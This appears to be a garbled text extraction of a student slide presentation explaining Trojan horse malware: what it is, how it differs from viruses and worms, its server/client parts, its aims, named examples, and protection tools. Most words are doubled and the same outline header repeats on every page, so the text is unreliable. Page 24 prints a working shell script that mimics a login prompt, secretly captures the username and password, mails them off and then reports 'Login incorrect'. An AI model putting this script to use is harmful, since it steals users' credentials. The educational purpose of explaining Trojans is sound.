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OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

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Page 1: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s
Page 2: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s
Page 3: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

OUTLINEOUTLINE

TROJANTROJAN What is trojan?What is trojan? How did trojan create?How did trojan create? Why was its name trojan?Why was its name trojan?

What is the differences with Trojan and other?What is the differences with Trojan and other? VirusVirus WormWorm TrojanTrojan

Trojan’s structureTrojan’s structure How does trojan run?How does trojan run?

How does trojen affect to operating system and file system?How does trojen affect to operating system and file system? Aim of the trojanAim of the trojan How is it give harm to the systemHow is it give harm to the system Types of trojanTypes of trojan

Protect your computerProtect your computer FirewallFirewall Anti-trojan programsAnti-trojan programs

NetbusterNetbuster Protector PlusProtector Plus

How can be cleanned?How can be cleanned?

Page 4: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

Have you got any idea Have you got any idea about TROJAN?about TROJAN?

Page 5: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

TROJANTROJAN

ProgrammeProgrammeSeems beneficial Seems beneficial giftgiftDamageDamage

Open/Find portOpen/Find port

Connect SystemConnect System

Control PcControl Pc

Page 6: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

Why Why DidDid Trojan Create? Trojan Create?

Work at homeWork at home

19901990

Server – ClientServer – Client

Take DataTake Data

IllegalIllegal

Page 7: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

TrojanTrojan Horse Horse

Page 8: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

Truva horse was seem like a perfect

and beatifull gift

Page 9: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

Something were not normal...

Page 10: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

However they lose the war due to this brilliant strategy

Page 11: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

DifferencesDifferences

VirusVirus

WormWorm

TrojanTrojan

Page 12: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

What do you know about?What do you know about?

VirusVirus

WormWorm

Page 13: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

VirusVirus

ProgrammeProgrammeMess theirseft to the Mess theirseft to the programmeprogrammeAttachAttachAttackAttack

HardwareHardwareSoftwareSoftware

Page 14: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

WormWorm

ProgrammeProgramme

Attach AutomaticlyAttach Automaticly

Copy themselveCopy themselve

Send theirself without peopleSend theirself without people

Page 15: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

TROJANTROJAN

ProgrammeProgramme

Has two partsHas two partsServer (in victams pc)Server (in victams pc)

Client (in hackers pc)Client (in hackers pc)

Trojan

Server.exe

Client.exe

Page 16: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

How Does Trojan Work?How Does Trojan Work?

Send Server.exeSend Server.exeAttach to pictures,videos,mailAttach to pictures,videos,mail

Run Client.exeRun Client.exe

Connect computerConnect computer

Manage computer for its aimManage computer for its aim

Page 17: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

OPERATING SYSTEMOPERATING SYSTEM&&

FILE SYSTEMFILE SYSTEM

Aim Of TrojanAim Of Trojan

How does it give harm to system ?How does it give harm to system ?

Page 18: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

OPERATING SYSTEMOPERATING SYSTEM&&

FILE SYSTEMFILE SYSTEMRobberyRobbery

Net AccountNet Account

PasswordPassword

FileFile

FunFunPhysicalPhysical

SoftwareSoftware

VisualVisual

EspionageEspionage

Page 19: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

OPERATING SYSTEMOPERATING SYSTEM&&

FILE SYSTEMFILE SYSTEM

Search FileSearch FileDelete FileDelete FileUse computer as a Use computer as a servantservantLock and Turn off Lock and Turn off WindowsWindows

Access System FileAccess System FileTake passwordTake passwordSend File,Take FileSend File,Take File

Page 20: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

ExamplesExamples

Page 21: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

ExamplesExamples

Page 22: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

ExamplesExamples

Page 23: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

ExamplesExamples

Page 24: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

#! /bin/sh#! /bin/shclearclearcat /etc/issuecat /etc/issueecho -n "login: "echo -n "login: "read loginread loginecho -n "Password: "echo -n "Password: "stty -echostty -echoread passwdread passwdstty sanestty sanemail $USER <<- finmail $USER <<- finlogin: $loginlogin: $loginpasswd: $passwdpasswd: $passwdfinfinecho "Login incorrect"echo "Login incorrect"sleep 1sleep 1

logoutlogout

Page 25: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

Type Of TrojanType Of Trojan

NetbusNetbus

Back ofriceBack ofrice

Girl FriendGirl Friend

Net MonitorNet Monitor

Page 26: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

NETBUSNETBUSMost PopularMost Popular

BACK OFRICEBACK OFRICEMost HarmfulMost Harmful

GIRL FRIENDGIRL FRIENDMost DangerousMost Dangerous

NET MONITORNET MONITORSimillar with back NetbusSimillar with back Netbus

Type Of TrojanType Of Trojan

Page 27: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run Curr entVersion\Run

Page 28: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run Curr entVersion\Run

Page 29: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

PROTECT YOUR COMPUTERPROTECT YOUR COMPUTER

FirewallFirewall

Anti-Trojan programsAnti-Trojan programsNetbusterNetbuster

Protector PlusProtector Plus

Page 30: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

FirewallFirewall

Panda Antivirus + Panda Antivirus + FirewallFirewall

Norton Personal FirewallNorton Personal Firewall

Page 31: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

NETBUSTERNETBUSTER

Two usage:Two usage:Protect computerProtect computer

Connect hacker’s Connect hacker’s computer and Send computer and Send messagemessage

Page 32: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

PROTECT PLUSPROTECT PLUS

Find TrojanFind Trojan

Delete them Delete them

Give ReportGive Report

Page 33: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s
Page 34: OUTLINE TROJAN What is trojan? How did trojan create? Why was its name trojan? What is the differences with Trojan and other? Virus Worm Trojan Trojan’s

THANK S FOR LISTENING!THANK S FOR LISTENING!